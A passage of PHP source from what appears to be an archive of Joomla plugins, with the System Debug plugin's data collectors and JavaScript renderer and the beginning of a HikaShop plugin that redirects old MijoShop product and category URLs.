						$isCaller = 0;

						if (!$callerLocation && $class !== Language::class && !strpos($file, 'Text.php'))
						{
							$callerLocation = $location;
							$isCaller       = 1;
						}

						$trace[] = [
							\count($occurrence['trace']) - $cnt,
							$isCaller,
							$caller,
							$file,
							$line,
						];

						$cnt++;
					}

					$item['trace']  = $trace;
					$item['caller'] = $callerLocation;
				}

				$data[$orphan][] = $item;
			}
		}

		return [
			'orphans'    => $data,
			'jroot'      => JPATH_ROOT,
			'xdebugLink' => $this->getXdebugLinkTemplate(),
		];
	}

	/**
	 * Get a count value.
	 *
	 * @return integer
	 *
	 * @since 4.0.0
	 */
	private function getCount(): int
	{
		return \count(Factory::getLanguage()->getOrphans());
	}
}
PK!�I*���)debug/src/DataCollector/InfoCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\AssetProvider;
use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\Plugin\System\Debug\AbstractDataCollector;
use Joomla\Registry\Registry;
use Psr\Http\Message\ResponseInterface;

/**
 * InfoDataCollector
 *
 * @since  4.0.0
 */
class InfoCollector extends AbstractDataCollector implements AssetProvider
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'info';

	/**
	 * Request ID.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $requestId;

	/**
	 * InfoDataCollector constructor.
	 *
	 * @param   Registry  $params     Parameters
	 * @param   string    $requestId  Request ID
	 *
	 * @since  4.0.0
	 */
	public function __construct(Registry $params, $requestId)
	{
		$this->requestId = $requestId;

		parent::__construct($params);
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 * @return string
	 */
	public function getName(): string
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'info' => [
				'icon' => 'info-circle',
				'title' => 'J! Info',
				'widget'  => 'PhpDebugBar.Widgets.InfoWidget',
				'map'     => $this->name,
				'default' => '{}',
			],
		];
	}

	/**
	 * Returns an array with the following keys:
	 *  - base_path
	 *  - base_url
	 *  - css: an array of filenames
	 *  - js: an array of filenames
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getAssets(): array
	{
		return [
			'js' => Uri::root(true) . '/media/plg_system_debug/widgets/info/widget.min.js',
			'css' => Uri::root(true) . '/media/plg_system_debug/widgets/info/widget.min.css',
		];
	}

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect(): array
	{
		/** @type SiteApplication|AdministratorApplication $application */
		$application = Factory::getApplication();

		$model = $application->bootComponent('com_admin')
			->getMVCFactory()->createModel('Sysinfo', 'Administrator');

		return [
			'phpVersion' => PHP_VERSION,
			'joomlaVersion' => JVERSION,
			'requestId' => $this->requestId,
			'identity' => $this->getIdentityInfo($application->getIdentity()),
			'response' => $this->getResponseInfo($application->getResponse()),
			'template' => $this->getTemplateInfo($application->getTemplate(true)),
			'database' => $this->getDatabaseInfo($model->getInfo()),
		];
	}

	/**
	 * Get Identity info.
	 *
	 * @param   User  $identity  The identity.
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	private function getIdentityInfo(User $identity): array
	{
		if (!$identity->id)
		{
			return ['type' => 'guest'];
		}

		return [
			'type' => 'user',
			'id' => $identity->id,
			'name' => $identity->name,
			'username' => $identity->username,
		];
	}

	/**
	 * Get response info.
	 *
	 * @param   ResponseInterface  $response  The response.
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	private function getResponseInfo(ResponseInterface $response): array
	{
		return [
			'status_code' => $response->getStatusCode(),
		];
	}

	/**
	 * Get template info.
	 *
	 * @param   object  $template  The template.
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	private function getTemplateInfo($template): array
	{
		return [
			'template' => $template->template ?? '',
			'home' => $template->home ?? '',
			'id' => $template->id ?? '',
		];
	}

	/**
	 * Get database info.
	 *
	 * @param   array  $info  General information.
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	private function getDatabaseInfo(array $info): array
	{
		return [
			'dbserver' => $info['dbserver'] ?? '',
			'dbversion' => $info['dbversion'] ?? '',
			'dbcollation' => $info['dbcollation'] ?? '',
			'dbconnectioncollation' => $info['dbconnectioncollation'] ?? '',
			'dbconnectionencryption' => $info['dbconnectionencryption'] ?? '',
			'dbconnencryptsupported' => $info['dbconnencryptsupported'] ?? '',
		];
	}
}
PK!L�]�
�
3debug/src/DataCollector/LanguageErrorsCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\AssetProvider;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\Plugin\System\Debug\AbstractDataCollector;

/**
 * LanguageErrorsDataCollector
 *
 * @since  4.0.0
 */
class LanguageErrorsCollector extends AbstractDataCollector implements AssetProvider
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'languageErrors';

	/**
	 * The count.
	 *
	 * @var   integer
	 * @since 4.0.0
	 */
	private $count = 0;

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect(): array
	{
		return [
			'data'  => [
				'files' => $this->getData(),
				'jroot' => JPATH_ROOT,
				'xdebugLink' => $this->getXdebugLinkTemplate(),
			],
			'count' => $this->getCount(),
		];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 *
	 * @return string
	 */
	public function getName(): string
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'errors'       => [
				'icon' => 'warning',
				'widget'  => 'PhpDebugBar.Widgets.languageErrorsWidget',
				'map'     => $this->name . '.data',
				'default' => '',
			],
			'errors:badge' => [
				'map'     => $this->name . '.count',
				'default' => 'null',
			],
		];
	}

	/**
	 * Returns an array with the following keys:
	 *  - base_path
	 *  - base_url
	 *  - css: an array of filenames
	 *  - js: an array of filenames
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getAssets()
	{
		return [
			'js' => Uri::root(true) . '/media/plg_system_debug/widgets/languageErrors/widget.min.js',
			'css' => Uri::root(true) . '/media/plg_system_debug/widgets/languageErrors/widget.min.css',
		];
	}

	/**
	 * Collect data.
	 *
	 * @return array
	 *
	 * @since 4.0.0
	 */
	private function getData(): array
	{
		$errorFiles = Factory::getLanguage()->getErrorFiles();
		$errors     = [];

		if (\count($errorFiles))
		{
			foreach ($errorFiles as $file => $lines)
			{
				foreach ($lines as $line)
				{
					$errors[] = [$file, $line];
					$this->count++;
				}
			}
		}

		return $errors;
	}

	/**
	 * Get a count value.
	 *
	 * @return int
	 *
	 * @since 4.0.0
	 */
	private function getCount(): int
	{
		return $this->count;
	}
}
PK!����*debug/src/DataCollector/QueryCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\AssetProvider;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\Monitor\DebugMonitor;
use Joomla\Plugin\System\Debug\AbstractDataCollector;
use Joomla\Registry\Registry;

/**
 * QueryDataCollector
 *
 * @since  4.0.0
 */
class QueryCollector extends AbstractDataCollector implements AssetProvider
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'queries';

	/**
	 * The query monitor.
	 *
	 * @var    DebugMonitor
	 * @since  4.0.0
	 */
	private $queryMonitor;

	/**
	 * Profile data.
	 *
	 * @var   array
	 * @since 4.0.0
	 */
	private $profiles;

	/**
	 * Explain data.
	 *
	 * @var   array
	 * @since 4.0.0
	 */
	private $explains;

	/**
	 * Accumulated Duration.
	 *
	 * @var   integer
	 * @since 4.0.0
	 */
	private $accumulatedDuration = 0;

	/**
	 * Accumulated Memory.
	 *
	 * @var   integer
	 * @since 4.0.0
	 */
	private $accumulatedMemory = 0;

	/**
	 * Constructor.
	 *
	 * @param   Registry      $params        Parameters.
	 * @param   DebugMonitor  $queryMonitor  Query monitor.
	 * @param   array         $profiles      Profile data.
	 * @param   array         $explains      Explain data
	 *
	 * @since 4.0.0
	 */
	public function __construct(Registry $params, DebugMonitor $queryMonitor, array $profiles, array $explains)
	{
		$this->queryMonitor = $queryMonitor;

		parent::__construct($params);

		$this->profiles = $profiles;
		$this->explains = $explains;
	}

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect(): array
	{
		$statements = $this->getStatements();

		return [
			'data'       => [
				'statements'               => $statements,
				'nb_statements'            => \count($statements),
				'accumulated_duration_str' => $this->getDataFormatter()->formatDuration($this->accumulatedDuration),
				'memory_usage_str'         => $this->getDataFormatter()->formatBytes($this->accumulatedMemory),
				'xdebug_link'              => $this->getXdebugLinkTemplate(),
				'root_path'                => JPATH_ROOT,
			],
			'count'      => \count($this->queryMonitor->getLogs()),
		];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 *
	 * @return string
	 */
	public function getName(): string
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'queries'       => [
				'icon'    => 'database',
				'widget'  => 'PhpDebugBar.Widgets.SQLQueriesWidget',
				'map'     => $this->name . '.data',
				'default' => '[]',
			],
			'queries:badge' => [
				'map'     => $this->name . '.count',
				'default' => 'null',
			],
		];
	}

	/**
	 * Assets for the collector.
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getAssets(): array
	{
		return [
			'css' => Uri::root(true) . '/media/plg_system_debug/widgets/sqlqueries/widget.min.css',
			'js' => Uri::root(true) . '/media/plg_system_debug/widgets/sqlqueries/widget.min.js',
		];
	}

	/**
	 * Prepare the executed statements data.
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	private function getStatements(): array
	{
		$statements    = [];
		$logs          = $this->queryMonitor->getLogs();
		$boundParams   = $this->queryMonitor->getBoundParams();
		$timings       = $this->queryMonitor->getTimings();
		$memoryLogs    = $this->queryMonitor->getMemoryLogs();
		$stacks        = $this->queryMonitor->getCallStacks();
		$collectStacks = $this->params->get('query_traces');

		foreach ($logs as $id => $item)
		{
			$queryTime   = 0;
			$queryMemory = 0;

			if ($timings && isset($timings[$id * 2 + 1]))
			{
				// Compute the query time.
				$queryTime                 = ($timings[$id * 2 + 1] - $timings[$id * 2]);
				$this->accumulatedDuration += $queryTime;
			}

			if ($memoryLogs && isset($memoryLogs[$id * 2 + 1]))
			{
				// Compute the query memory usage.
				$queryMemory             = ($memoryLogs[$id * 2 + 1] - $memoryLogs[$id * 2]);
				$this->accumulatedMemory += $queryMemory;
			}

			$trace          = [];
			$callerLocation = '';

			if (isset($stacks[$id]))
			{
				$cnt = 0;

				foreach ($stacks[$id] as $i => $stack)
				{
					$class = $stack['class'] ?? '';
					$file  = $stack['file'] ?? '';
					$line  = $stack['line'] ?? '';

					$caller   = $this->formatCallerInfo($stack);
					$location = $file && $line ? "$file:$line" : 'same';

					$isCaller = 0;

					if (\Joomla\Database\DatabaseDriver::class === $class && false === strpos($file, 'DatabaseDriver.php'))
					{
						$callerLocation = $location;
						$isCaller       = 1;
					}

					if ($collectStacks)
					{
						$trace[] = [\count($stacks[$id]) - $cnt, $isCaller, $caller, $file, $line];
					}

					$cnt++;
				}
			}

			$explain        = $this->explains[$id] ?? [];
			$explainColumns = [];

			// Extract column labels for Explain table
			if ($explain)
			{
				$explainColumns = array_keys(reset($explain));
			}

			$statements[] = [
				'sql'          => $item,
				'params'       => $boundParams[$id] ?? [],
				'duration_str' => $this->getDataFormatter()->formatDuration($queryTime),
				'memory_str'   => $this->getDataFormatter()->formatBytes($queryMemory),
				'caller'       => $callerLocation,
				'callstack'    => $trace,
				'explain'      => $explain,
				'explain_col'  => $explainColumns,
				'profile'      => $this->profiles[$id] ?? [],
			];
		}

		return $statements;
	}
}
PK!s�(Z��,debug/src/DataCollector/ProfileCollector.phpnu&1i�<?php
/**
 * This file is part of the DebugBar package.
 *
 * @copyright  (c) 2013 Maxime Bouroumeau-Fuseau
 * @license    For the full copyright and license information, please view the LICENSE
 *             file that was distributed with this source code.
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DebugBarException;
use Joomla\CMS\Profiler\Profiler;
use Joomla\Plugin\System\Debug\AbstractDataCollector;
use Joomla\Registry\Registry;

/**
 * Collects info about the request duration as well as providing
 * a way to log duration of any operations
 *
 * @since  version
 */
class ProfileCollector extends AbstractDataCollector
{
	/**
	 * Request start time.
	 *
	 * @var   float
	 * @since 4.0.0
	 */
	protected $requestStartTime;

	/**
	 * Request end time.
	 *
	 * @var   float
	 * @since 4.0.0
	 */
	protected $requestEndTime;

	/**
	 * Started measures.
	 *
	 * @var array
	 * @since  4.0.0
	 */
	protected $startedMeasures = [];

	/**
	 * Measures.
	 *
	 * @var array
	 * @since  4.0.0
	 */
	protected $measures = [];

	/**
	 * Constructor.
	 *
	 * @param   Registry  $params  Parameters.
	 *
	 * @since 4.0.0
	 */
	public function __construct(Registry $params)
	{
		if (isset($_SERVER['REQUEST_TIME_FLOAT']))
		{
			$this->requestStartTime = $_SERVER['REQUEST_TIME_FLOAT'];
		}
		else
		{
			$this->requestStartTime = microtime(true);
		}

		parent::__construct($params);
	}

	/**
	 * Starts a measure.
	 *
	 * @param   string       $name       Internal name, used to stop the measure
	 * @param   string|null  $label      Public name
	 * @param   string|null  $collector  The source of the collector
	 *
	 * @since  4.0.0
	 * @return void
	 */
	public function startMeasure($name, $label = null, $collector = null)
	{
		$start = microtime(true);

		$this->startedMeasures[$name] = [
			'label'     => $label ?: $name,
			'start'     => $start,
			'collector' => $collector,
		];
	}

	/**
	 * Check a measure exists
	 *
	 * @param   string  $name  Group name.
	 *
	 * @since  4.0.0
	 * @return bool
	 */
	public function hasStartedMeasure($name): bool
	{
		return isset($this->startedMeasures[$name]);
	}

	/**
	 * Stops a measure.
	 *
	 * @param   string  $name    Measurement name.
	 * @param   array   $params  Parameters
	 *
	 * @since  4.0.0
	 * @throws DebugBarException
	 * @return void
	 */
	public function stopMeasure($name, array $params = [])
	{
		$end = microtime(true);

		if (!$this->hasStartedMeasure($name))
		{
			throw new DebugBarException("Failed stopping measure '$name' because it hasn't been started");
		}

		$this->addMeasure(
			$this->startedMeasures[$name]['label'],
			$this->startedMeasures[$name]['start'],
			$end,
			$params,
			$this->startedMeasures[$name]['collector']
		);

		unset($this->startedMeasures[$name]);
	}

	/**
	 * Adds a measure
	 *
	 * @param   string       $label      A label.
	 * @param   float        $start      Start of request.
	 * @param   float        $end        End of request.
	 * @param   array        $params     Parameters.
	 * @param   string|null  $collector  A collector.
	 *
	 * @since  4.0.0
	 * @return void
	 */
	public function addMeasure($label, $start, $end, array $params = [], $collector = null)
	{
		$this->measures[] = [
			'label'          => $label,
			'start'          => $start,
			'relative_start' => $start - $this->requestStartTime,
			'end'            => $end,
			'relative_end'   => $end - $this->requestEndTime,
			'duration'       => $end - $start,
			'duration_str'   => $this->getDataFormatter()->formatDuration($end - $start),
			'params'         => $params,
			'collector'      => $collector,
		];
	}

	/**
	 * Utility function to measure the execution of a Closure
	 *
	 * @param   string       $label      A label.
	 * @param   \Closure     $closure    A closure.
	 * @param   string|null  $collector  A collector.
	 *
	 * @since  4.0.0
	 * @return void
	 */
	public function measure($label, \Closure $closure, $collector = null)
	{
		$name = spl_object_hash($closure);
		$this->startMeasure($name, $label, $collector);
		$result = $closure();
		$params = \is_array($result) ? $result : [];
		$this->stopMeasure($name, $params);
	}

	/**
	 * Returns an array of all measures
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getMeasures(): array
	{
		return $this->measures;
	}

	/**
	 * Returns the request start time
	 *
	 * @since  4.0.0
	 * @return float
	 */
	public function getRequestStartTime(): float
	{
		return $this->requestStartTime;
	}

	/**
	 * Returns the request end time
	 *
	 * @since  4.0.0
	 * @return float
	 */
	public function getRequestEndTime(): float
	{
		return $this->requestEndTime;
	}

	/**
	 * Returns the duration of a request
	 *
	 * @since  4.0.0
	 * @return float
	 */
	public function getRequestDuration(): float
	{
		if ($this->requestEndTime !== null)
		{
			return $this->requestEndTime - $this->requestStartTime;
		}

		return microtime(true) - $this->requestStartTime;
	}

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 * @return array Collected data
	 */
	public function collect(): array
	{
		$this->requestEndTime = microtime(true);

		$start = $this->requestStartTime;

		$marks = Profiler::getInstance('Application')->getMarks();

		foreach ($marks as $mark)
		{
			$mem = $this->getDataFormatter()->formatBytes(abs($mark->memory) * 1048576);
			$label = $mark->label . " ($mem)";
			$end = $start + $mark->time / 1000;
			$this->addMeasure($label, $start, $end);
			$start = $end;
		}

		foreach (array_keys($this->startedMeasures) as $name)
		{
			$this->stopMeasure($name);
		}

		usort(
			$this->measures,
			function ($a, $b)
			{
				if ($a['start'] === $b['start'])
				{
					return 0;
				}

				return $a['start'] < $b['start'] ? -1 : 1;
			}
		);

		return [
			'start'        => $this->requestStartTime,
			'end'          => $this->requestEndTime,
			'duration'     => $this->getRequestDuration(),
			'duration_str' => $this->getDataFormatter()->formatDuration($this->getRequestDuration()),
			'measures'     => array_values($this->measures),
			'rawMarks'     => $marks,
		];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 * @return string
	 */
	public function getName(): string
	{
		return 'profile';
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'profileTime' => [
				'icon'    => 'clock-o',
				'tooltip' => 'Request Duration',
				'map'     => 'profile.duration_str',
				'default' => "'0ms'",
			],
			'profile'     => [
				'icon'    => 'clock-o',
				'widget'  => 'PhpDebugBar.Widgets.TimelineWidget',
				'map'     => 'profile',
				'default' => '{}',
			],
		];
	}
}
PK!�!�ӽ	�	2debug/src/DataCollector/LanguageFilesCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\AssetProvider;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\Plugin\System\Debug\AbstractDataCollector;

/**
 * LanguageFilesDataCollector
 *
 * @since  4.0.0
 */
class LanguageFilesCollector extends AbstractDataCollector implements AssetProvider
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'languageFiles';

	/**
	 * The count.
	 *
	 * @var   integer
	 * @since 4.0.0
	 */
	private $count = 0;

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect(): array
	{
		$paths = Factory::getLanguage()->getPaths();
		$loaded = [];

		foreach ($paths as $extension => $files)
		{
			$loaded[$extension] = [];

			foreach ($files as $file => $status)
			{
				$loaded[$extension][$file] = $status;

				if ($status)
				{
					$this->count++;
				}
			}
		}

		return [
			'loaded' => $loaded,
			'xdebugLink' => $this->getXdebugLinkTemplate(),
			'jroot' => JPATH_ROOT,
			'count' => $this->count,
		];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 *
	 * @return string
	 */
	public function getName(): string
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'loaded' => [
				'icon' => 'language',
				'widget' => 'PhpDebugBar.Widgets.languageFilesWidget',
				'map' => $this->name,
				'default' => '[]',
			],
			'loaded:badge' => [
				'map'     => $this->name . '.count',
				'default' => 'null',
			],
		];
	}

	/**
	 * Returns an array with the following keys:
	 *  - base_path
	 *  - base_url
	 *  - css: an array of filenames
	 *  - js: an array of filenames
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getAssets(): array
	{
		return [
			'js' => Uri::root(true) . '/media/plg_system_debug/widgets/languageFiles/widget.min.js',
			'css' => Uri::root(true) . '/media/plg_system_debug/widgets/languageFiles/widget.min.css',
		];
	}
}
PK!�lj�q
q
 debug/src/JavascriptRenderer.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug;

use DebugBar\DebugBar;
use DebugBar\JavascriptRenderer as DebugBarJavascriptRenderer;
use Joomla\CMS\Factory;

/**
 * Custom JavascriptRenderer for DebugBar
 *
 * @since  4.0.0
 */
class JavascriptRenderer extends DebugBarJavascriptRenderer
{
	/**
	 * Class constructor.
	 *
	 * @param   \DebugBar\DebugBar  $debugBar  DebugBar instance
	 * @param   string              $baseUrl   The base URL from which assets will be served
	 * @param   string              $basePath  The path which assets are relative to
	 *
	 * @since  4.0.0
	 */
	public function __construct(DebugBar $debugBar, $baseUrl = null, $basePath = null)
	{
		parent::__construct($debugBar, $baseUrl, $basePath);

		// Disable features that loaded by Joomla! API, or not in use
		$this->setEnableJqueryNoConflict(false);
		$this->disableVendor('jquery');
		$this->disableVendor('fontawesome');
	}

	/**
	 * Renders the html to include needed assets
	 *
	 * Only useful if Assetic is not used
	 *
	 * @return string
	 *
	 * @since  4.0.0
	 */
	public function renderHead()
	{
		list($cssFiles, $jsFiles, $inlineCss, $inlineJs, $inlineHead) = $this->getAssets(null, self::RELATIVE_URL);
		$html = '';
		$doc  = Factory::getApplication()->getDocument();

		foreach ($cssFiles as $file)
		{
			$html .= sprintf('<link rel="stylesheet" type="text/css" href="%s">' . "\n", $file);
		}

		foreach ($inlineCss as $content)
		{
			$html .= sprintf('<style type="text/css">%s</style>' . "\n", $content);
		}

		foreach ($jsFiles as $file)
		{
			$html .= sprintf('<script type="text/javascript" src="%s" defer></script>' . "\n", $file);
		}

		$nonce = '';

		if ($doc->cspNonce)
		{
			$nonce = ' nonce="' . $doc->cspNonce . '"';
		}

		foreach ($inlineJs as $content)
		{
			$html .= sprintf('<script type="module"%s>%s</script>' . "\n", $nonce, $content);
		}

		foreach ($inlineHead as $content)
		{
			$html .= $content . "\n";
		}

		return $html;
	}

	/**
	 * Returns the code needed to display the debug bar
	 *
	 * AJAX request should not render the initialization code.
	 *
	 * @param   boolean  $initialize         Whether or not to render the debug bar initialization code
	 * @param   boolean  $renderStackedData  Whether or not to render the stacked data
	 *
	 * @return string
	 *
	 * @since  4.0.0
	 */
	public function render($initialize = true, $renderStackedData = true)
	{
		$js  = '';
		$doc = Factory::getApplication()->getDocument();

		if ($initialize)
		{
			$js = $this->getJsInitializationCode();
		}

		if ($renderStackedData && $this->debugBar->hasStackedData())
		{
			foreach ($this->debugBar->getStackedData() as $id => $data)
			{
				$js .= $this->getAddDatasetCode($id, $data, '(stacked)');
			}
		}

		$suffix = !$initialize ? '(ajax)' : null;
		$js .= $this->getAddDatasetCode($this->debugBar->getCurrentRequestId(), $this->debugBar->getData(), $suffix);

		$nonce = '';

		if ($doc->cspNonce)
		{
			$nonce = ' nonce="' . $doc->cspNonce . '"';
		}

		if ($this->useRequireJs)
		{
			return "<script type=\"module\"$nonce>\nrequire(['debugbar'], function(PhpDebugBar){ $js });\n</script>\n";
		}
		else
		{
			return "<script type=\"module\"$nonce>\n$js\n</script>\n";
		}
	}
}
PK!Y�����#debug/src/AbstractDataCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug;

use DebugBar\DataCollector\DataCollector;
use DebugBar\DataCollector\Renderable;
use Joomla\Registry\Registry;

/**
 * AbstractDataCollector
 *
 * @since  4.0.0
 */
abstract class AbstractDataCollector extends DataCollector implements Renderable
{
	/**
	 * Parameters.
	 *
	 * @var   Registry
	 * @since 4.0.0
	 */
	protected $params;

	/**
	 * The default formatter.
	 *
	 * @var   DataFormatter
	 * @since 4.0.0
	 */
	private static $defaultDataFormatter;

	/**
	 * AbstractDataCollector constructor.
	 *
	 * @param   Registry  $params  Parameters.
	 *
	 * @since 4.0.0
	 */
	public function __construct(Registry $params)
	{
		$this->params = $params;
	}

	/**
	 * Get a data formatter.
	 *
	 * @since  4.0.0
	 * @return DataFormatter
	 */
	public function getDataFormatter(): DataFormatter
	{
		if ($this->dataFormater === null)
		{
			$this->dataFormater = self::getDefaultDataFormatter();
		}

		return $this->dataFormater;
	}

	/**
	 * Returns the default data formatter
	 *
	 * @since  4.0.0
	 * @return DataFormatter
	 */
	public static function getDefaultDataFormatter(): DataFormatter
	{
		if (self::$defaultDataFormatter === null)
		{
			self::$defaultDataFormatter = new DataFormatter;
		}

		return self::$defaultDataFormatter;
	}

	/**
	 * Strip the Joomla! root path.
	 *
	 * @param   string  $path  The path.
	 *
	 * @return string
	 *
	 * @since  4.0.0
	 */
	public function formatPath($path): string
	{
		return $this->getDataFormatter()->formatPath($path);
	}

	/**
	 * Format a string from back trace.
	 *
	 * @param   array  $call  The array to format
	 *
	 * @return string
	 *
	 * @since  4.0.0
	 */
	public function formatCallerInfo(array $call): string
	{
		return $this->getDataFormatter()->formatCallerInfo($call);
	}
}
PK!4�$n66mijo_redirect/mijo_redirect.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemMijo_redirect extends JPlugin {

	function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
	}

	function onAfterRoute() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getVar('option');
			$mijoProdId = $app->input->getInt('product_id');
			$mijoCatId = $app->input->getInt('category_id');
			$mijoOrderId = $app->input->getInt('order_id');
		} else {
			$option = JRequest::getVar('option');
			$mijoProdId = JRequest::getInt('product_id');
			$mijoCatId = JRequest::getInt('category_id');
			$mijoOrderId = JRequest::getInt('order_id');
		}


		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if( $option != 'com_mijoshop')
			return true;

		$url = null; //HIKASHOP_LIVE;
		$db = JFactory::getDBO();
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$query='SHOW TABLES LIKE '.$db->Quote($db->getPrefix().substr(hikashop_table('mijo_prod'),3));
		$db->setQuery($query);
		$table = $db->loadResult();
		if(empty($table))
			return true;

		if( !empty($mijoProdId) && $mijoProdId > 0 ) {
			$query = "SELECT a.hk_id, b.product_name as 'name' FROM `#__hikashop_mijo_prod` a INNER JOIN `#__hikashop_product` b ON a.hk_id = b.product_id WHERE a.mijo_id = " . $mijoProdId . ";";
			$baseUrl = 'product&task=show';
		} else if( !empty($mijoCatId)  && $mijoCatId > 0 ) {
			$id = 'mijo-fallback';
			$alias = 'hikashop-menu-for-module-'.$id;
			$db->setQuery('SELECT id FROM '.hikashop_table('menu',false).' WHERE alias=\''.$alias.'\''); //Set ?
			$itemId = $db->loadResult();
			if(empty($itemId)) {
				$options = new stdClass();
				$config =& hikashop_config();
				$options->hikashop_params = $config->get('default_params',null);
				$classMenu = hikashop_get('class.menus');
				$classMenu->loadParams($options);
				$options->hikashop_params['content_type'] = 'category';
				$options->hikashop_params['layout_type']='div';
				$options->hikashop_params['content_synchronize']='1';
				if($options->hikashop_params['columns']==1){
					$options->hikashop_params['columns']=3;
				}
				$classMenu->createMenu($options->hikashop_params, $id);
				$itemId = $options->hikashop_params['itemid'];
			}

			$query = "SELECT a.hk_id, b.category_name as 'name' FROM `#__hikashop_mijo_cat` a INNER JOIN `#__hikashop_category` b ON a.hk_id = b.category_id WHERE a.mijo_id = " . $mijoCatId . ";";
